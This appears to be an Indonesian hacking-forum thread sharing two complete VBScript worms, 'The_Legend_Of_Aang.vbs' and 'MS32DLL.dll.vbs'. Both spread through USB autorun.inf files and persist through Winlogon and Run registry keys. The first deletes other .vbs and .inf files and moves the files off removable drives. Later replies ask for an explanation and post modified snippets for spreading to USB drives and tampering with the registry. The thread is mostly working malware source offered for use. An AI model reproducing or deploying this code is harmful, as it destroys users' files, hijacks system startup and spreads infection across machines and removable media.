Virus Visual Basic Script

[ede]

#1 The_Legend_Of_Aang.vbs

Code: Select all

'******************** Now AnG is Encrypted ***************
'**************************************************************
'******************* Call me The legend of Aang ***************

Option Explicit
On Error Resume Next
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")

Dim Shells
Set Shells = CreateObject("Wscript.Shell")

Dim WinDir
Set WinDir = Fso.GetSpecialFolder(0)

Dim SystemDir
Set SystemDir =Fso.GetSpecialFolder(1)

Dim File
Set File = Fso.GetFile(WScript.ScriptFullName)

Dim Drv
Set Drv=File.Drive

Dim InDrive
Set InDrive = Fso.drives

Dim ReadAll,AllFile
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
AllFile = AllFile & ReadAll.readline & vbcrlf
Loop

Dim Count
Count=Drv.DriveType

Dim WriteAll
Do

If Not Fso.FileExists(SystemDir & "\Aang.vbs") then
set WriteAll = Fso.CreateTextFile(SystemDir & "\Aang.vbs",2,true)
WriteAll.Write AllFile
WriteAll.close
set WriteAll = Fso.GetFile(SystemDir & "\Aang.vbs")
WriteAll.Attributes = -1
End If

Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\Aang.vbs"


Dim Drives
For Each Drives In InDrive

If Drives.DriveType=2 Then
LookVBS "inf",Drives.Path & "\"
LookVBS "INF",Drives.Path & "\"
End if

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
If Drives.Path<> "A:" Then
Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
LookVBS "vbs",WinDir & "\"
LookVBS "vbs",Drives.Path & "\"
If Drives.DriveType = 1 Then
If Drives.Path<>"A:" Then
If Not Fso.FileExists(Drives.Path & "\The_Legend_Of_Aang.vbs") Then
set writeall=fso.CreateFolder (SystemDir & "\RemovableCache")
writeall.close
set writeall=fso.copyfolder (Drives.path & "\*",SystemDir & "\RemovableCache")
writeall.close
set writeall=fso.moveFile (Drives.path & "\*.*",SystemDir & "\RemovableCache")
writeall.close
'set writeall=fso.Deletefolder (Drives.path & "\*",2)
writeall.close
'set writeall=fso.DeleteFile (Drives.path & "\*.*",2)
writeall.close
Set WriteAll=Fso.CreateTextFile(Drives.Path & "\The_Legend_Of_Aang.vbs",2,True)
WriteAll.Write AllFile
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\The_Legend_Of_Aang.vbs")
WriteAll.Attributes = -1
writeall.close
End If

If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
Dim Chg
Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
Chg.Attributes = -8
End if
Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
WriteAll.writeline "[Autorun]" & vbcrlf & "UseAutoplay=1" & vbcrlf & "Icon=%SystemRoot%\system32\SHELL32.dll,7" & vbcrlf & "Shellexecute=wscript.exe The_Legend_Of_Aang.vbs" & vbCrLf & "Shell\OPEN\COMMAND=wscript.exe The_Legend_Of_Aang.vbs"& VbCrlf &"Shell\explore\COMMAND=wscript.exe The_Legend_Of_Aang.vbs" & VbCrLf & "Action=Open folder to view files"
WriteAll.Close
Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
WriteAll.Attributes = -1
End If
End if
End if
End If

Next

if Count <> 1 then
Wscript.sleep 10000
end if

loop while Count<>1


sub LookVBS(File2Find, SrchPath)
Dim oFileSys, oFolder, oFile,Cut,Delete
Set oFileSys = CreateObject("Scripting.FileSystemObject")
Set oFolder = oFileSys.GetFolder(SrchPath)
For Each oFile In oFolder.Files
Cut=Right(oFile.Name,3)
If UCase(Cut)=UCase(file2find) Then
If oFile.Name <> "The_Legend_Of_Aang.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
End If
Next
End sub

[ede]

#2 MS32DLL.dll.vbs

Code: Select all

on error resume next
dim mysource,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd
atr = "[autorun]"&vbcrlf&"shellexecute=wscript.exe MS32DLL.dll.vbs"

set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
mysource=mysource&text.readline
mysource=mysource & vbcrlf
loop
do
Set winpath = fs.getspecialfolder(0)
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 32
set tf=fs.createtextfile(winpath & "MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf = fs.getfile(winpath & "MS32DLL.dll.vbs")
tf.attributes = 39
for each flashdrive in fs.drives
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"MS32DLL.dll.vbs",2,true)
tf.write mysource
tf.close
set tf=fs.getfile(flashdrive.path &"MS32DLL.dll.vbs")
tf.attributes =39
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"autorun.inf",2,true)
tf.write atr
tf.close
set tf =fs.getfile(flashdrive.path &"autorun.inf")
tf.attributes=39
end if
next
set rg = createobject("WScript.Shell")
rg.regwrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunMS32DLL",winpath&"MS32DLL.dll.vbs"
rg.regwrite "HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title","Hacked by Ciebal"
rg.regwrite "HKCRvbsfileDefaultIcon","shell32.dll,2"
if check <> 1 then
Wscript.sleep 200000
end if
loop while check<>1
set sd = createobject("Wscript.shell")
sd.run winpath&"explorer.exe /e,/select, "&Wscript.ScriptFullname

[v0d]

duhh kk terangin codingnya dunnn >.<
gag ngudeng niiii

[azure]

woowww

kaka gimana klo codingnya di tambahin supaya nanti sang virus membuat cloningnya di steiap USB/ port lainnya yg masuk [autorun.inf] yg telah di modiv

Code: Select all

'//Buat Autorun.inf untuk menjalankan virus otomatis setiap flash dish yang masuk//
For Each flashdrive In fs.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path <> @A:@ Then
Set tf = fs.getfile(flashdrive.Path & @\NAMA VIRUS.dll.vbs@)
tf.Attributes = 32
Set tf = fs.createtextfile(flashdrive.Path & @\NAMA VIRUS.dll.vbs@, 2, True)
tf.write src:
tf.Close
Set tf = fs.getfile(flashdrive.Path & @\NAMA VIRUS.dll.vbs@)
tf.Attributes = 39
Set tf = fs.getfile(flashdrive.Path & @\autorun.inf@)
tf.Attributes = 32
Set tf = fs.createtextfile(flashdrive.Path & @\autorun.inf@, 2, True)
tf.write atr
tf.Close
Set tf = fs.getfile(flashdrive.Path & @\autorun.inf@)
tf.Attributes = 39
End If

Code: Select all

'//Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information//
atr = @[autorun]@&vbcrlf&@shellexecute=wscript.exe NAMA VIRUS.dll.vbs@
Set fs = CreateObject(@Scripting.FileSystemObject@)
Set mf = fs.getfile(Wscript.ScriptFullname)
Dim text, size
size = mf.size
check = mf.drive.drivetype
Set text = mf.openastextstream(1, -2)
Do While Not text.atendofstream
src=src&text.readline
src = src & vbCrLf
Loop Do

Code: Select all

'//Manipulasi Registry//
Set rg = CreateObject(@WScript.Shell@)
rg.regwrite @HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\load@,winpath & @\rockstreet.dll.vbs@
rg.regwrite @HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title@, @[--Hacked By ROCKSTREET--] @InF @
rg.regwrite @HKCR\vbsfile\DefaultIcon@, @shell32.dll,2@
'//jika di periksa maka program berhenti selama 20 detik//
If check <> 1 Then Wscript.sleep 200000
Loop While check <> 1
Set sd = CreateObject(@Wscript.shell@)
sd.run winpath & @\explorer.exe /e,/select, @ & Wscript.ScriptFullname

mavin iah kaka klo ada coding yg salah maklom baru belajar